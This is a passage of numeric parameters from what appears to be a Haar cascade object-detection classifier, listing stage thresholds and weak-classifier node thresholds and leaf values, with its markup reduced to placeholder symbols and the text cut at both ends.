-1 623 -2.3846809926908463e-04 + + + -2.3733009397983551e-01 7.5922161340713501e-02 + + + <_> + + 0 -1 624 2.1540730085689574e-04 + + + 8.1688016653060913e-02 -2.8685030341148376e-01 + + + <_> + + 0 -1 625 1.0163090191781521e-02 + + + -4.1250020265579224e-02 4.8038348555564880e-01 + + + <_> + + 0 -1 626 -7.2184870950877666e-03 + + + 1.7458580434322357e-01 -1.0146500170230865e-01 + + + <_> + + 0 -1 627 2.4263170361518860e-01 + + + 5.3426481783390045e-02 -3.2318529486656189e-01 + + + <_> + + 0 -1 628 6.9304101634770632e-04 + + + -1.1499179899692535e-01 1.4793939888477325e-01 + + + <_> + + 0 -1 629 3.5475199110805988e-03 + + + -3.9424978196620941e-02 5.3126180171966553e-01 + + + <_> + + 0 -1 630 2.1403690334409475e-04 + + + 6.9753833115100861e-02 -2.7319580316543579e-01 + + + <_> + + 0 -1 631 -5.7119462871924043e-04 + + + 3.4369900822639465e-01 -5.7699009776115417e-02 + + + <_> + + 0 -1 632 -6.6290069371461868e-03 + + + 1.1758489906787872e-01 -1.5020139515399933e-01 + + + + + <_> + 66 + -1.0888810157775879e+00 + + <_> + + 0 -1 633 -2.6513449847698212e-02 + + + 2.0568640530109406e-01 -2.6473900675773621e-01 + + + <_> + + 0 -1 634 9.7727458924055099e-03 + + + -1.1192840337753296e-01 3.2570549845695496e-01 + + + <_> + + 0 -1 635 3.2290350645780563e-02 + + + -9.8574757575988770e-02 3.1779170036315918e-01 + + + <_> + + 0 -1 636 -2.8103240765631199e-03 + + + 1.5213899314403534e-01 -1.9686409831047058e-01 + + + <_> + + 0 -1 637 -1.0991429910063744e-02 + + + 5.1407659053802490e-01 -4.3707210570573807e-02 + + + <_> + + 0 -1 638 6.3133831135928631e-03 + + + -9.2781022191047668e-02 3.4702470898628235e-01 + + + <_> + + 0 -1 639 8.7105982005596161e-02 + + + 3.0053649097681046e-02 -8.2814818620681763e-01 + + + <_> + + 0 -1 640 1.1799359926953912e-03 + + + -1.2928420305252075e-01 2.0646120607852936e-01 + + + <_> + + 0 -1 641 -9.3056890182197094e-04 + + + -5.0021439790725708e-01 9.3666993081569672e-02 + + + <_> + + 0 -1 642 -1.3687170110642910e-02 + + + -7.9358148574829102e-01 -6.6733639687299728e-03 + + + <_> + + 0 -1 643 -7.5917452573776245e-02 + + + 3.0469641089439392e-01 -7.9655893146991730e-02 + + + <_> + + 0 -1 644 -2.8559709899127483e-03 + + + 2.0961460471153259e-01 -1.2732550501823425e-01 + + + <_> + + 0 -1 645 -4.0231510065495968e-03 + + + -6.5817278623580933e-01 5.0683639943599701e-02 + + + <_> + + 0 -1 646 1.7558040097355843e-02 + + + -8.5382692515850067e-02 3.6174559593200684e-01 + + + <_> + + 0 -1 647 2.1988239139318466e-02 + + + 6.2943696975708008e-02 -7.0896339416503906e-01 + + + <_> + + 0 -1 648 -2.8599589131772518e-03 + + + 1.4683780074119568e-01 -1.6465979814529419e-01 + + + <_> + + 0 -1 649 -1.0030849836766720e-02 + + + 4.9579939246177673e-01 -2.7188340201973915e-02 + + + <_> + + 0 -1 650 -6.9560329429805279e-03 + + + 2.7977779507637024e-01 -7.7953331172466278e-02 + + + <_> + + 0 -1 651 -3.8356808945536613e-03 + + + -5.8163982629776001e-01 3.5739939659833908e-02 + + + <_> + + 0 -1 652 -3.2647319603711367e-03 + + + -4.9945080280303955e-01 4.6986490488052368e-02 + + + <_> + + 0 -1 653 -7.8412350267171860e-03 + + + 3.4532830119132996e-01 -6.8810403347015381e-02 + + + <_> + + 0 -1 654 -8.1718113506212831e-05 + + + 1.5041710436344147e-01 -1.4146679639816284e-01 + + + <_> + + 0 -1 655 -3.2448628917336464e-03 + + + 2.2724510729312897e-01 -9.2860206961631775e-02 + + + <_> + + 0 -1 656 -7.8561151167377830e-04 + + + -4.4319018721580505e-01 5.7812441140413284e-02 + + + <_> + + 0 -1 657 -6.2474247533828020e-04 + + + 1.3952389359474182e-01 -1.4668719470500946e-01 + + + <_> + + 0 -1 658 -3.2942948746494949e-04 + + + -2.9901570081710815e-01 7.6066739857196808e-02 + + + <_> + + 0 -1 659 1.2605739757418633e-03 + + + -1.6125600039958954e-01 1.3953800499439240e-01 + + + <_> + + 0 -1 660 -5.1667019724845886e-02 + + + -5.3142839670181274e-01 4.0719520300626755e-02 + + + <_> + + 0 -1 661 -1.5285619534552097e-02 + + + -7.8206378221511841e-01 2.7183769270777702e-02 + + + <_> + + 0 -1 662 6.9029822945594788e-02 + + + -3.6427021026611328e-02 7.1102517843246460e-01 + + + <_> + + 0 -1 663 1.4522749697789550e-03 + + + -9.6890516579151154e-02 2.1668420732021332e-01 + + + <_> + + 0 -1 664 -2.4765590205788612e-03 + + + 1.1645310372114182e-01 -1.8227979540824890e-01 + + + <_> + + 0 -1 665 -1.5134819550439715e-03 + + + 1.7863979935646057e-01 -1.2214969843626022e-01 + + + <_> + + 0 -1 666 -1.5099470037966967e-03 + + + 1.8086239695549011e-01 -1.1446069926023483e-01 + + + <_> + + 0 -1 667 -6.7054620012640953e-03 + + + 2.5106599926948547e-01 -9.1871462762355804e-02 + + + <_> + + 0 -1 668 -1.4075200073421001e-02 + + + 1.3707509636878967e-01 -1.7333500087261200e-01 + + + <_> + + 0 -1 669 -2.2400720044970512e-03 + + + 4.0092980861663818e-01 -4.7576878219842911e-02 + + + <_> + + 0 -1 670 1.9782369956374168e-02 + + + -1.9040350615978241e-01 1.4923410117626190e-01 + + + <_> + + 0 -1 671 2.6002870872616768e-03 + + + 4.6971768140792847e-02 -4.3307659029960632e-01 + + + <_> + + 0 -1 672 -5.3445628145709634e-04 + + + -4.3744230270385742e-01 4.1520189493894577e-02 + + + <_> + + 0 -1 673 -1.7466509714722633e-02 + + + 6.5818172693252563e-01 -3.4447491168975830e-02 + + + <_> + + 0 -1 674 -2.0425589755177498e-03 + + + 3.9657929539680481e-01 -4.4052429497241974e-02 + + + <_> + + 0 -1 675 2.6661779265850782e-03 + + + 5.8770958334207535e-02 -3.2806369662284851e-01 + + + <_> + + 0 -1 676 -5.5982369929552078e-02 + + + -5.1735472679138184e-01 3.5791840404272079e-02 + + + <_> + + 0 -1 677 -1.5066330088302493e-03 + + + 1.5123869478702545e-01 -1.2520180642604828e-01 + + + <_> + + 0 -1 678 -1.1472369544208050e-02 + + + -6.2930530309677124e-01 3.4704331308603287e-02 + + + <_> + + 0 -1 679 2.3409629240632057e-02 + + + -5.8063350617885590e-02 3.8668221235275269e-01 + + + <_> + + 0 -1 680 -2.3243729956448078e-03 + + + 1.8754099309444427e-01 -9.8394669592380524e-02 + + + <_> + + 0 -1 681 -2.9039299115538597e-02 + + + -5.4486900568008423e-01 4.0926340967416763e-02 + + + <_> + + 0 -1 682 -1.4474649913609028e-02 + + + -6.7248392105102539e-01 2.3128850385546684e-02 + + + <_> + + 0 -1 683 -5.2086091600358486e-03 + + + -4.3271440267562866e-01 4.3780650943517685e-02 + + + <_> + + 0 -1 684 4.9382899887859821e-03 + + + -1.0878620296716690e-01 1.9342589378356934e-01 + + + <_> + + 0 -1 685 -4.3193930760025978e-03 + + + 2.4080930650234222e-01 -1.0380800068378448e-01 + + + <_> + + 0 -1 686 2.3705669445917010e-04 + + + -8.7349072098731995e-02 2.0466239750385284e-01 + + + <_> + + 0 -1 687 4.7858079778961837e-04 + + + 4.5624580234289169e-02 -3.8854670524597168e-01 + + + <_> + + 0 -1 688 -8.5342838428914547e-04 + + + -5.5077940225601196e-01 3.5825889557600021e-02 + + + <_> + + 0 -1 689 5.4772121075075120e-05 + + + -1.1225239932537079e-01 1.7503519356250763e-01 + + + <_> + + 0 -1 690 -3.8445889949798584e-03 + + + 2.4526700377464294e-01 -8.1132568418979645e-02 + + + <_> + + 0 -1 691 -4.0128458291292191e-02 + + + -6.3122707605361938e-01 2.6972670108079910e-02 + + + <_> + + 0 -1 692 -1.7886360001284629e-04 + + + 1.9855099916458130e-01 -1.0333680361509323e-01 + + + <_> + + 0 -1 693 1.7668239888735116e-04 + + + -9.1359011828899384e-02 1.9848720729351044e-01 + + + <_> + + 0 -1 694 7.2763383388519287e-02 + + + 5.0075579434633255e-02 -3.3852630853652954e-01 + + + <_> + + 0 -1 695 1.0181630030274391e-02 + + + -9.3229979276657104e-02 2.0059590041637421e-01 + + + <_> + + 0 -1 696 2.4409969337284565e-03 + + + 6.4636632800102234e-02 -2.6921740174293518e-01 + + + <_> + + 0 -1 697 -3.6227488890290260e-03 + + + 1.3169890642166138e-01 -1.2514840066432953e-01 + + + <_> + + 0 -1 698 -1.3635610230267048e-03 + + + 1.6350460052490234e-01 -1.0665939748287201e-01 + + + + + <_> + 69 + -1.0408929586410522e+00 + + <_> + + 0 -1 699 -9.6991164609789848e-03 + + + 6.1125320196151733e-01 -6.6225312650203705e-02 + + + <_> + + 0 -1 700 -9.6426531672477722e-03 + + + -1. 2.7699959464371204e-03 + + + <_> + + 0 -1 701 -9.6381865441799164e-03 + + + 1. -2.9904270195402205e-04 + + + <_> + + 0 -1 702 -4.2553939856588840e-03 + + + 2.8464388847351074e-01 -1.5540120005607605e-01 + + + <_> + + 0 -1 703 -9.6223521977663040e-03 + + + -1. 4.3999180197715759e-02 + + + <_> + + 0 -1 704 -9.1231241822242737e-03 + + + 8.6869341135025024e-01 -2.7267890982329845e-03 + + + <_> + + 0 -1 705 -8.6240433156490326e-03 + + + 4.5352488756179810e-01 -8.6071379482746124e-02 + + + <_> + + 0 -1 706 -8.9324144646525383e-03 + + + 1.3375559449195862e-01 -2.6012519001960754e-01 + + + <_> + + 0 -1 707 -1.4207810163497925e-02 + + + 3.2077640295028687e-01 -9.7226411104202271e-02 + + + <_> + + 0 -1 708 2.5911010801792145e-02 + + + -1.2964080274105072e-01 2.6218649744987488e-01 + + + <_> + + 0 -1 709 2.0531509653665125e-04 + + + -1.2404280155897141e-01 2.1062959730625153e-01 + + + <_> + + 0 -1 710 -5.4795680625829846e-05 + + + 1.1974299699068069e-01 -2.3201279342174530e-01 + + + <_> + + 0 -1 711 6.8555199541151524e-03 + + + -6.3276126980781555e-02 4.1044250130653381e-01 + + + <_> + + 0 -1 712 -1.2253040447831154e-02 + + + 5.4883331060409546e-01 -3.9731100201606750e-02 + + + <_> + + 0 -1 713 -3.9058770053088665e-03 + + + 2.4190980195999146e-01 -9.7096011042594910e-02 + + + <_> + + 0 -1 714 2.7560980524867773e-03 + + + -1.2569679319858551e-01 1.9456650316715240e-01 + + + <_> + + 0 -1 715 -7.7662160620093346e-03 + + + 2.9765701293945312e-01 -9.6818156540393829e-02 + + + <_> + + 0 -1 716 3.8997188676148653e-04 + + + 6.2188401818275452e-02 -4.2040899395942688e-01 + + + <_> + + 0 -1 717 3.3579880837351084e-03 + + + 4.7498140484094620e-02 -6.3216882944107056e-01 + + + <_> + + 0 -1 718 -1.6745539382100105e-02 + + + 7.1098130941390991e-01 -3.9157349616289139e-02 + + + <_> + + 0 -1 719 -6.5409899689257145e-03 + + + -3.5043171048164368e-01 7.0616953074932098e-02 + + + <_> + + 0 -1 720 3.0016340315341949e-04 + + + 9.1902457177639008e-02 -2.4618670344352722e-01 + + + <_> + + 0 -1 721 1.4918990433216095e-02 + + + -5.1909450441598892e-02 5.6636041402816772e-01 + + + <_> + + 0 -1 722 4.8153079114854336e-04 + + + 6.4659558236598969e-02 -3.6590608954429626e-01 + + + <_> + + 0 -1 723 -3.0211321427486837e-04 + + + 1.7926569283008575e-01 -1.1410660296678543e-01 + + + <_> + + 0 -1 724 3.8521419628523290e-04 + + + 1.0345619916915894e-01 -2.0072460174560547e-01 + + + <_> + + 0 -1 725 8.0837132409214973e-03 + + + -6.6073462367057800e-02 3.0284249782562256e-01 + + + <_> + + 0 -1 726 -2.2804969921708107e-02 + + + 5.2962350845336914e-01 -4.0118999779224396e-02 + + + <_> + + 0 -1 727 1.9440450705587864e-04 + + + 8.1854820251464844e-02 -2.4663360416889191e-01 + + + <_> + + 0 -1 728 -1.2848090380430222e-02 + + + -3.4973311424255371e-01 5.6916229426860809e-02 + + + <_> + + 0 -1 729 -1.0937290498986840e-03 + + + 2.3368680477142334e-01 -9.1604806482791901e-02 + + + <_> + + 0 -1 730 1.0032650316134095e-03 + + + 1.1852180212736130e-01 -1.8469190597534180e-01 + + + <_> + + 0 -1 731 -4.4688429683446884e-02 + + + -6.4362460374832153e-01 3.0363269150257111e-02 + + + <_> + + 0 -1 732 8.1657543778419495e-03 + + + 4.3674658983945847e-02 -4.3002089858055115e-01 + + + <_> + + 0 -1 733 -1.1717810295522213e-02 + + + 4.1781479120254517e-01 -4.8233699053525925e-02 + + + <_> + + 0 -1 734 8.4277130663394928e-02 + + + 5.3461279720067978e-02 -3.7952190637588501e-01 + + + <_> + + 0 -1 735 1.4211839996278286e-02 + + + 4.4900938868522644e-02 -4.2981499433517456e-01 + + + <_> + + 0 -1 736 1.5028340276330709e-03 + + + 8.2227639853954315e-02 -2.4706399440765381e-01 + + + <_> + + 0 -1 737 1.0003579780459404e-02 + + + -5.7221669703722000e-02 3.4609371423721313e-01 + + + <_> + + 0 -1 738 -9.0706320479512215e-03 + + + 4.5058089494705200e-01 -4.2795319110155106e-02 + + + <_> + + 0 -1 739 -3.3141620224341750e-04 + + + 1.8336910009384155e-01 -1.0759949684143066e-01 + + + <_> + + 0 -1 740 1.9723279774188995e-01 + + + -3.0363829806447029e-02 6.6423428058624268e-01 + + + <_> + + 0 -1 741 -7.1258801035583019e-03 + + + -8.9225047826766968e-01 2.5669990107417107e-02 + + + <_> + + 0 -1 742 8.6921341717243195e-03 + + + -7.0764370262622833e-02 2.8210529685020447e-01 + + + <_> + + 0 -1 743 8.9262127876281738e-03 + + + 7.1078233420848846e-02 -3.0232560634613037e-01 + + + <_> + + 0 -1 744 5.7286009192466736e-02 + + + 5.0974130630493164e-02 -3.9196950197219849e-01 + + + <_> + + 0 -1 745 3.7920880131423473e-03 + + + 3.3841941505670547e-02 -5.1016288995742798e-01 + + + <_> + + 0 -1 746 -1.4508679741993546e-03 + + + 3.0879148840904236e-01 -6.3845083117485046e-02 + + + <_> + + 0 -1 747 9.8390132188796997e-04 + + + -1.3029569387435913e-01 1.4604410529136658e-01 + + + <_> + + 0 -1 748 -1.7221809830516577e-03 + + + 2.9157009720802307e-01 -6.8549558520317078e-02 + + + <_> + + 0 -1 749 1.0948250070214272e-02 + + + 3.4351408481597900e-02 -4.7702258825302124e-01 + + + <_> + + 0 -1 750 -1.7176309484057128e-05 + + + 1.6055269539356232e-01 -1.1690840125083923e-01 + + + <_> + + 0 -1 751 -5.4884208366274834e-03 + + + -4.3415889143943787e-01 4.6106241643428802e-02 + + + <_> + + 0 -1 752 -3.0975250992923975e-03 + + + 3.7943339347839355e-01 -5.6860551238059998e-02 + + + <_> + + 0 -1 753 6.4182081259787083e-03 + + + -1.5858210623264313e-01 1.2335419654846191e-01 + + + <_> + + 0 -1 754 1.1831239797174931e-02 + + + -4.0929291397333145e-02 4.5878958702087402e-01 + + + <_> + + 0 -1 755 1.3540499843657017e-02 + + + -5.3725559264421463e-02 3.5056120157241821e-01 + + + <_> + + 0 -1 756 -2.5932150892913342e-03 + + + 1.1010520160198212e-01 -1.6752210259437561e-01 + + + <_> + + 0 -1 757 1.6856270376592875e-03 + + + 6.6574357450008392e-02 -3.0835020542144775e-01 + + + <_> + + 0 -1 758 2.6524690911173820e-03 + + + 6.6318482160568237e-02 -2.7861338853836060e-01 + + + <_> + + 0 -1 759 -7.7341729775071144e-03 + + + 1.9718359410762787e-01 -1.0782919824123383e-01 + + + <_> + + 0 -1 760 5.0944271497428417e-03 + + + 8.5337489843368530e-02 -2.4847009778022766e-01 + + + <_> + + 0 -1 761 -2.9162371065467596e-03 + + + -4.7476351261138916e-01 3.3566489815711975e-02 + + + <_> + + 0 -1 762 3.0121419113129377e-03 + + + -4.7575380653142929e-02 4.2586800456047058e-01 + + + <_> + + 0 -1 763 3.1694869976490736e-03 + + + -1.0519450157880783e-01 1.7163459956645966e-01 + + + <_> + + 0 -1 764 2.2327560186386108e-01 + + + -1.4370209537446499e-02 9.2483651638031006e-01 + + + <_> + + 0 -1 765 -9.5585048198699951e-02 + + + -7.4206638336181641e-01 2.7818970382213593e-02 + + + <_> + + 0 -1 766 3.4773729566950351e-05 + + + -1.2765780091285706e-01 1.2926669418811798e-01 + + + <_> + + 0 -1 767 7.2459770308341831e-05 + + + -1.6518579423427582e-01 1.0036809742450714e-01 + + + + + <_> + 59 + -1.0566600561141968e+00 + + <_> + + 0 -1 768 -6.5778270363807678e-03 + + + 3.3815258741378784e-01 -1.5281909704208374e-01 + + + <_> + + 0 -1 769 -1.0922809597104788e-03 + + + 2.2282369434833527e-01 -1.9308499991893768e-01 + + + <_> + + 0 -1 770 -2.9759589582681656e-02 + + + 2.5959870219230652e-01 -1.5409409999847412e-01 + + + <_> + + 0 -1 771 -1.3147540390491486e-02 + + + 1.9033810496330261e-01 -1.6543999314308167e-01 + + + <_> + + 0 -1 772 -1.4396329643204808e-03 + + + 2.0071710646152496e-01 -1.2338940054178238e-01 + + + <_> + + 0 -1 773 -3.5928250290453434e-03 + + + 2.3985520005226135e-01 -1.2922149896621704e-01 + + + <_> + + 0 -1 774 -1.5314699849113822e-03 + + + -4.9014899134635925e-01 1.0275030136108398e-01 + + + <_> + + 0 -1 775 -6.2372139655053616e-03 + + + 3.1214639544487000e-01 -1.1405629664659500e-01 + + + <_> + + 0 -1 776 -3.3364649862051010e-02 + + + -4.9520879983901978e-01 5.1328450441360474e-02 + + + <_> + + 0 -1 777 -2.2827699780464172e-02 + + + 3.2558828592300415e-01 -6.5089307725429535e-02 + + + <_> + + 0 -1 778 -8.6199097335338593e-02 + + + -6.7646330595016479e-01 2.6985699310898781e-02 + + + <_> + + 0 -1 779 -2.1065981127321720e-03 + + + 2.2452430427074432e-01 -1.2610229849815369e-01 + + + <_> + + 0 -1 780 3.9120148867368698e-02 + + + 1.1329399794340134e-01 -2.6860630512237549e-01 + + + <_> + + 0 -1 781 3.5082739777863026e-03 + + + -1.1359959840774536e-01 2.5649771094322205e-01 + + + <_> + + 0 -1 782 5.9289898490533233e-04 + + + -1.4942969381809235e-01 1.6409839689731598e-01 + + + <_> + + 0 -1 783 7.1766850305721164e-04 + + + 9.9905692040920258e-02 -2.1967969834804535e-01 + + + <_> + + 0 -1 784 -2.1803600713610649e-02 + + + -3.1711721420288086e-01 8.2889586687088013e-02 + + + <_> + + 0 -1 785 -3.2962779514491558e-03 + + + -3.8048729300498962e-01 6.0819379985332489e-02 + + + <_> + + 0 -1 786 2.4196270387619734e-03 + + + -9.6013016998767853e-02 2.8540581464767456e-01 + + + <_> + + 0 -1 787 -4.4187481398694217e-04 + + + 2.2127939760684967e-01 -9.7434908151626587e-02 + + + <_> + + 0 -1 788 3.4523929934948683e-03 + + + 3.7553120404481888e-02 -5.7969051599502563e-01 + + + <_> + + 0 -1 789 -2.1834600716829300e-02 + + + 2.9562139511108398e-01 -8.0048300325870514e-02 + + + <_> + + 0 -1 790 -2.1309500152710825e-04 + + + 2.2814509272575378e-01 -1.0114189982414246e-01 + + + <_> + + 0 -1 791 -1.6166249988600612e-03 + + + -5.0541198253631592e-01 4.4764541089534760e-02 + + + <_> + + 0 -1 792 7.5959609821438789e-03 + + + 4.5986540615558624e-02 -4.1197681427001953e-01 + + + <_> + + 0 -1 793 3.8601809646934271e-03 + + + -8.6563169956207275e-02 2.4809999763965607e-01 + + + <_> + + 0 -1 794 6.0622231103479862e-03 + + + -7.5557373464107513e-02 2.8433260321617126e-01 + + + <_> + + 0 -1 795 -1.7097420059144497e-03 + + + -3.5295820236206055e-01 5.8410499244928360e-02 + + + <_> + + 0 -1 796 1.6515579074621201e-02 + + + -8.0486953258514404e-02 2.3537430167198181e-01 + + + <_> + + 0 -1 797 4.8465100117027760e-03 + + + 4.1895218193531036e-02 -4.8443049192428589e-01 + + + <_> + + 0 -1 798 -3.1167170032858849e-02 + + + 1.9192309677600861e-01 -1.0268159955739975e-01 + + + <_> + + 0 -1 799 6.1892281519249082e-04 + + + -2.1085770428180695e-01 9.3886926770210266e-02 + + + <_> + + 0 -1 800 1.1946310289204121e-02 + + + 3.9096169173717499e-02 -6.2248629331588745e-01 + + + <_> + + 0 -1 801 -7.5677200220525265e-03 + + + 1.5936839580535889e-01 -1.2250780314207077e-01 + + + <_> + + 0 -1 802 -5.3747411817312241e-02 + + + -5.5622178316116333e-01 4.1190009564161301e-02 + + + <_> + + 0 -1 803 1.5513530001044273e-02 + + + -3.9826881140470505e-02 6.2400728464126587e-01 + + + <_> + + 0 -1 804 1.5246650436893106e-03 + + + 7.0138677954673767e-02 -3.0789071321487427e-01 + + + <_> + + 0 -1 805 -4.8315100139006972e-04 + + + 1.7887659370899200e-01 -1.0958620160818100e-01 + + + <_> + + 0 -1 806 2.7374739293009043e-03 + + + 2.7478590607643127e-02 -8.8489568233489990e-01 + + + <_> + + 0 -1 807 -6.5787717700004578e-02 + + + -4.6432140469551086e-01 3.5037148743867874e-02 + + + <_> + + 0 -1 808 1.2409730115905404e-03 + + + -9.6479237079620361e-02 2.8779220581054688e-01 + + + <_> + + 0 -1 809 8.1398809561505914e-04 + + + 1.1511719971895218e-01 -1.6766160726547241e-01 + + + <_> + + 0 -1 810 2.3901820182800293e-02 + + + -3.2603189349174500e-02 6.0017347335815430e-01 + + + <_> + + 0 -1 811 2.7556600049138069e-02 + + + -6.6137343645095825e-02 2.9994478821754456e-01 + + + <_> + + 0 -1 812 -3.8070970913395286e-04 + + + -3.3881181478500366e-01 6.4450770616531372e-02 + + + <_> + + 0 -1 813 -1.3335429830476642e-03 + + + 1.4588660001754761e-01 -1.3217620551586151e-01 + + + <_> + + 0 -1 814 -9.3507990241050720e-03 + + + -5.1177829504013062e-01 3.4969471395015717e-02 + + + <_> + + 0 -1 815 7.6215229928493500e-03 + + + 2.3249529302120209e-02 -6.9619411230087280e-01 + + + <_> + + 0 -1 816 -5.3407860832521692e-05 + + + 2.3727379739284515e-01 -8.6910709738731384e-02 + + + <_> + + 0 -1 817 -1.5332329785451293e-03 + + + 1.9228410720825195e-01 -1.0422399640083313e-01 + + + <_> + + 0 -1 818 4.3135890737175941e-03 + + + -9.6219547092914581e-02 2.5601211190223694e-01 + + + <_> + + 0 -1 819 -2.3042880638968199e-04 + + + -3.1564751267433167e-01 5.8838598430156708e-02 + + + <_> + + 0 -1 820 -7.8411828726530075e-03 + + + -6.6340929269790649e-01 2.4500999599695206e-02 + + + <_> + + 0 -1 821 1.7103740572929382e-01 + + + 3.3831499516963959e-02 -4.5615941286087036e-01 + + + <_> + + 0 -1 822 -1.6011140542104840e-03 + + + 2.1574890613555908e-01 -8.3622530102729797e-02 + + + <_> + + 0 -1 823 -1.0535780340433121e-02 + + + 2.4552319943904877e-01 -8.2384489476680756e-02 + + + <_> + + 0 -1 824 -5.8351638726890087e-03 + + + -4.7807329893112183e-01 4.4086221605539322e-02 + + + <_> + + 0 -1 825 -1.8706109374761581e-02 + + + -6.0024029016494751e-01 2.1410040557384491e-02 + + + <_> + + 0 -1 826 -9.3307439237833023e-04 + + + 2.4323590099811554e-01 -7.4165716767311096e-02 + + + + + <_> + 88 + -9.7693431377410889e-01 + + <_> + + 0 -1 827 1.0646229609847069e-02 + + + -1.3861389458179474e-01 2.6494070887565613e-01 + + + <_> + + 0 -1 828 3.5298269242048264e-02 + + + -7.5821727514266968e-02 3.9021068811416626e-01 + + + <_> + + 0 -1 829 7.5638387352228165e-04 + + + -9.5521442592144012e-02 2.9061999917030334e-01 + + + <_> + + 0 -1 830 9.2497706413269043e-02 + + + -2.7704238891601562e-01 7.9474702477455139e-02 + + + <_> + + 0 -1 831 -2.9340879991650581e-03 + + + 2.2989539802074432e-01 -7.8550010919570923e-02 + + + <_> + + 0 -1 832 -8.6535848677158356e-02 + + + 4.7744810581207275e-01 -6.8231220357120037e-03 + + + <_> + + 0 -1 833 5.4699288739357144e-05 + + + -2.2642609477043152e-01 8.8192112743854523e-02 + + + <_> + + 0 -1 834 -3.6592520773410797e-02 + + + 2.7353870868682861e-01 -9.8606742918491364e-02 + + + <_> + + 0 -1 835 2.6469118893146515e-03 + + + -4.4083978980779648e-02 3.1445288658142090e-01 + + + <_> + + 0 -1 836 -4.4271810911595821e-03 + + + 2.3822729289531708e-01 -8.6784273386001587e-02 + + + <_> + + 0 -1 837 -5.1882481202483177e-03 + + + 1.5042769908905029e-01 -1.2672109901905060e-01 + + + <_> + + 0 -1 838 4.5530400238931179e-03 + + + -5.5945020169019699e-02 3.6501631140708923e-01 + + + <_> + + 0 -1 839 1.4562410302460194e-02 + + + 3.6397770047187805e-02 -5.3559190034866333e-01 + + + <_> + + 0 -1 840 6.8677567469421774e-05 + + + -1.7479629814624786e-01 1.1068709939718246e-01 + + + <_> + + 0 -1 841 -5.9744901955127716e-03 + + + 3.1077870726585388e-01 -6.6530227661132812e-02 + + + <_> + + 0 -1 842 -5.8691250160336494e-03 + + + -3.1901490688323975e-01 6.3931830227375031e-02 + + + <_> + + 0 -1 843 -1.1140310205519199e-02 + + + 2.4364790320396423e-01 -8.0935180187225342e-02 + + + <_> + + 0 -1 844 -5.8643531054258347e-02 + + + -7.6083260774612427e-01 3.0809629708528519e-02 + + + <_> + + 0 -1 845 -4.6097282320261002e-03 + + + -4.5315021276473999e-01 2.9879059642553329e-02 + + + <_> + + 0 -1 846 -9.3032103031873703e-03 + + + 1.4513379335403442e-01 -1.1033169925212860e-01 + + + <_> + + 0 -1 847 1.3253629440441728e-03 + + + -9.7698956727981567e-02 1.9646440446376801e-01 + + + <_> + + 0 -1 848 4.9800761044025421e-03 + + + 3.3648081123828888e-02 -3.9792209863662720e-01 + + + <_> + + 0 -1 849 -7.6542161405086517e-03 + + + 9.0841993689537048e-02 -1.5967549383640289e-01 + + + <_> + + 0 -1 850 -3.8920590281486511e-01 + + + -6.6571092605590820e-01 1.9028829410672188e-02 + + + <_> + + 0 -1 851 -1.0019669681787491e-01 + + + -5.7559269666671753e-01 2.4282779544591904e-02 + + + <_> + + 0 -1 852 7.3541211895644665e-04 + + + 8.7919801473617554e-02 -1.6195340454578400e-01 + + + <_> + + 0 -1 853 -3.4802639856934547e-03 + + + 2.6064491271972656e-01 -6.0200810432434082e-02 + + + <_> + + 0 -1 854 8.4000425413250923e-03 + + + -1.0979729890823364e-01 1.5707309544086456e-01 + + + <_> + + 0 -1 855 2.3786011151969433e-03 + + + 3.6058239638805389e-02 -4.7277191281318665e-01 + + + <_> + + 0 -1 856 7.3831682093441486e-03 + + + -3.5756360739469528e-02 4.9498590826988220e-01 + + + <_> + + 0 -1 857 3.2115620560944080e-03 + + + -1.0125560313463211e-01 1.5747989714145660e-01 + + + <_> + + 0 -1 858 -7.8209668397903442e-02 + + + -7.6627081632614136e-01 2.2965829819440842e-02 + + + <_> + + 0 -1 859 5.3303989261621609e-05 + + + -1.3414350152015686e-01 1.1114919930696487e-01 + + + <_> + + 0 -1 860 -9.6419155597686768e-03 + + + 2.5068029761314392e-01 -6.6608138382434845e-02 + + + <_> + + 0 -1 861 -7.1092672646045685e-02 + + + -4.0056818723678589e-01 4.0297791361808777e-02 + + + <_> + + 0 -1 862 3.5171560011804104e-04 + + + 4.1861180216073990e-02 -3.2961198687553406e-01 + + + <_> + + 0 -1 863 -3.3458150574006140e-04 + + + -2.6029831171035767e-01 6.7892737686634064e-02 + + + <_> + + 0 -1 864 -4.1451421566307545e-03 + + + 2.3967699706554413e-01 -7.2093337774276733e-02 + + + <_> + + 0 -1 865 3.1754500232636929e-03 + + + -7.1235269308090210e-02 2.4128450453281403e-01 + + + <_> + + 0 -1 866 -5.5184490047395229e-03 + + + 5.0320237874984741e-01 -2.9686680063605309e-02 + + + <_> + + 0 -1 867 -3.0242869979701936e-04 + + + 2.4879050254821777e-01 -5.6758578866720200e-02 + + + <_> + + 0 -1 868 -1.3125919504091144e-03 + + + 3.1747800111770630e-01 -4.1845861822366714e-02 + + + <_> + + 0 -1 869 -2.7123570907860994e-04 + + + -2.7042070031166077e-01 5.6828990578651428e-02 + + + <_> + + 0 -1 870 -7.3241777718067169e-03 + + + 2.7556678652763367e-01 -5.4252970963716507e-02 + + + <_> + + 0 -1 871 -1.6851710155606270e-02 + + + -3.4852910041809082e-01 4.5368999242782593e-02 + + + <_> + + 0 -1 872 2.9902100563049316e-02 + + + 3.1621079891920090e-02 -4.3114370107650757e-01 + + + <_> + + 0 -1 873 2.8902660124003887e-03 + + + 3.8029961287975311e-02 -3.7027099728584290e-01 + + + <_> + + 0 -1 874 -1.9242949783802032e-03 + + + 2.4800279736518860e-01 -5.9333298355340958e-02 + + + <_> + + 0 -1 875 4.9354149959981441e-03 + + + -8.3068400621414185e-02 2.2043809294700623e-01 + + + <_> + + 0 -1 876 8.2075603306293488e-02 + + + -1.9413439556956291e-02 6.9089287519454956e-01 + + + <_> + + 0 -1 877 -2.4699489586055279e-04 + + + -2.4660569429397583e-01 6.4776450395584106e-02 + + + <_> + + 0 -1 878 -1.8365769647061825e-03 + + + 2.8836160898208618e-01 -5.3390458226203918e-02 + + + <_> + + 0 -1 879 -4.9553811550140381e-03 + + + 1.2740829586982727e-01 -1.2559419870376587e-01 + + + <_> + + 0 -1 880 -8.3086621016263962e-03 + + + 2.3478110134601593e-01 -7.1676492691040039e-02 + + + <_> + + 0 -1 881 -1.0879919677972794e-01 + + + -2.5992238521575928e-01 5.8689739555120468e-02 + + + <_> + + 0 -1 882 -9.6786450594663620e-03 + + + -7.0720428228378296e-01 1.8749259412288666e-02 + + + <_> + + 0 -1 883 -2.7136830613017082e-02 + + + -5.8384227752685547e-01 2.1684130653738976e-02 + + + <_> + + 0 -1 884 -6.5389778465032578e-03 